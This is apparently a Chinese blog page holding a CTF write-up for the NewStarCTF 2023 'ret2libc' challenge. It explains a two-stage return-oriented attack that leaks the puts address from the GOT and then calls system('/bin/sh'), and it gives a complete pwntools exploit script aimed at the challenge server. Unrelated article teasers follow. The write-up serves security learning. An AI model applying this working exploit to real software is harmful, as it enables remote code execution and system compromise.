news 2026/6/10 22:14:14

BUUCTF[[NewStarCTF 2023 公开赛道]ret2libc]

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF[[NewStarCTF 2023 公开赛道]ret2libc]

步骤

使用checksec查看

由于这道题没有后门函数,并且只开启了栈不可执行保护,于是我们使用ret2libc

需要执行两次函数流程,第一次泄露libc地址,第二次通过泄露的地址来执行system函数

payload1:

先通过栈溢出覆盖返回地址,然后使用pop rdi;ret来将puts 的 GOT 表地址传入 rdi 寄存器

然后调用 puts 函数,打印puts_got中存储的 puts 真实地址

puts 执行完后跳回 main 函数,重新触发输入提示(方便发送第二个 Payload)

然后计算 libc 基址与目标地址

payload2:

溢出后使用ret来调整栈为 16 字节对齐

然后通过pop rdi;ret来将/bin/sh地址传入rdi寄存器

最后调用system函数来执行system("/bin/sh")

main函数地址为0x400698

通过read函数可以溢出buf缓冲区,只需要0x20+0x8个字节

pop rdi;ret 地址: 0x400763

ret地址: 0x400506

本地调试:

这里选择的9

获取flag:

远程连接选择的1

exp

from pwn import * from LibcSearcher import * context.log_level = 'debug' #p = process('./ret2libc') p = remote('node5.buuoj.cn',26594) elf = ELF('./ret2libc') pop_rdi_addr = 0x400763 ret_addr = 0x400506 main_addr =0x400698 puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] payload1 = b'a'*(0x20+8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("Show me your magic again\n",payload1) p.recvuntil(b'See you next time\n') puts_addr = u64(p.recvline().strip().ljust(8, b'\x00')) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh") payload2 = b'a'*(0x20+8) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Show me your magic again\n",payload2) p.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 5:18:33

开源眼动追踪终极指南:Pupil项目完全解析

开源眼动追踪终极指南:Pupil项目完全解析 【免费下载链接】pupil Open source eye tracking 项目地址: https://gitcode.com/gh_mirrors/pu/pupil 在当今人机交互技术飞速发展的时代,眼动追踪技术正成为连接人类意图与机器智能的重要桥梁。Pupil…

作者头像 李华
网站建设 2026/6/10 15:43:22

信息安全管理与评估2025福建省一阶段任务一评分标准

模块一网络平台搭建与设备安全防护 一、赛项时间 共计90分钟。 二、赛项信息 介绍 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 模块一 平台搭建与安全设备防 护 任务1 网络平台搭建 XX:XX 50 任务2 网络安全设备配置与防护 XX:XX 250 三、赛项内容 赛题第一阶…

作者头像 李华
网站建设 2026/6/10 19:24:59

开源项目分享:Gitee热榜项目 2025年12月第二周 周榜

本文档整理Gitee本周热门开源项目,包含名称、链接、星级、描述及本周趋势分析。 1. fay 项目链接:https://gitee.com/xszyou/fay Star 数:1680 项目描述:Fay是一个专为连接数字人(涵盖2.5D、3D、移动端、PC端及网页端…

作者头像 李华
网站建设 2026/6/10 15:46:50

Stata 15.1 中介效应 Sobel 检验完整指南:快速掌握中介分析技巧

Stata 15.1 中介效应 Sobel 检验完整指南:快速掌握中介分析技巧 【免费下载链接】Stata15.1中介效应Sobel检验安装包 Stata 15.1 中介效应 Sobel 检验安装包 项目地址: https://gitcode.com/open-source-toolkit/55355 想要在 Stata 15.1 中轻松进行中介效应…

作者头像 李华
网站建设 2026/6/10 15:44:06

AI图片修复革命:LaMa模型智能水印去除实战指南

AI图片修复革命:LaMa模型智能水印去除实战指南 【免费下载链接】IOPaint 项目地址: https://gitcode.com/GitHub_Trending/io/IOPaint 你是否曾经为了去除图片中的水印而烦恼?无论是商业照片上的版权标记,还是个人图片中的文字水印&a…

作者头像 李华